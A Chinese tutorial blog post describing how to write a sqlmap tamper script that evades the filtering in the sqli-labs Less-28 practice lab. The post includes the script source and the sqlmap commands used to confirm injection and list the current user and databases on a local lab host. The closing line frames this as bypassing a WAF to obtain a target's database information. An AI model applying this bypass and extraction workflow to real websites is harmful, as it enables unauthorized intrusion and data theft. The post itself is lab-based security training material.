渗透测试-sqlmap绕过WAF脚本编写

sqlmap绕过WAF脚本编写

前言

一、什么是sqlmap和tamper脚本

Sqlmap一款功能强大集成了多种数据库识别及注入方式,多用于识别和利用Web 应用程序注入漏洞的工具,它的优点在于集成了大量 payload,对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。 我们之前学习时间盲注的时候,可以针对时间盲注类型的漏洞的写个专门的自动化脚本来帮忙我们测试,但是不比这个sqlmap这个集成工具强大。

1.tamper的作用
使用SQLMap提供的tamper脚本,可在一定程度上避开应用程序的敏感字符过滤、绕过WAF规则的阻挡,继而进行渗透攻击。

部分防护系统的缩写:

WAF:Web应用程序防火墙,Web Application Firewall
IPS:入侵防御系统, Intrusion Prevention System
IDS:入侵检测系统,Intrusion Detection System

2.tamper用法
–tamper=TAMPER 利用给定的脚本进行篡改注入数据。其用法可举例说明:
python sqlmap.py -u “http://…/?uname=admin&pwd=pass123” --level=5 --risk=3 -p “uname” --tamper=xxx.py
表示对指定的url地址,以所设置的level等级、risk等级,并采用选定的tamper篡改脚本对参数“uname”进行检测

二、利用sqlmap脚本进行扫描获取数据库信息

1.编写sqlmap绕过WAF脚本

利用sqli-labs实验室第28关进行实验,进行代码审计可知
在这里插入图片描述
代码中对各种符号,空格进行了过滤,说明存在WAF,我们可以进行编写sqlmap脚本进行绕过,这里编写一个sqli-labs28.py脚本到sqlmap的tamper目录下
脚本模板如下:

#!/usr/bin/env python

“”"
Copyright © 2006-2021 sqlmap developers (https://sqlmap.org/)
See the file ‘LICENSE’ for copying permission
“”"

from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY

priority = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
“”"
Bypass sqli-lasbs/Less-28
“”"
if payload:
payload = payload.replace(‘union select’,‘unnion all select’).replace(’ ‘,’%0a’)
return payload

2.通过sqlmap进行获取数据库信息

这里我在window下使用sqlmap,搭建python环境进行运行
首先,进行对目标url进行扫描
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-28/?id=1” --flush-session
在这里插入图片描述
在这里插入图片描述
扫描结果可知,id参数没有存在注入点,这里我们脚本侥幸扫描试试是否可以绕过过滤点进行注入,获取信息。
输入脚本文件
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-28/?id=1” --flush-session --tamper=sqli-labs28
在这里插入图片描述
在这里插入图片描述
由测试结果可知,注入成功,接下来我们获取数据信息
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-28/?id=1” --tamper=sqli-labs28 --current-user(输出当前用户)
在这里插入图片描述
由结果可知,获取信息成功,接下来我们获取有哪些数据库
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-28/?id=1” --tamper=sqli-labs28 --dbs -v 3(通过payload获取数据库内容)
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
由以上结果可知,数据库信息获取成功,实验结束。
接下来大家就可以利用sqlmap核心语法获取更多的信息。

总结

本次实验是利用sqlmap编写脚本绕过WAF的一个经典实例,通过代码审计发现存在符号和空格过滤,我们就可以进行编写脚本进行绕过,这样我们就可以通过绕过WAF,获取对方的数据库信息了。

  • 0
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

炫彩@之星

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值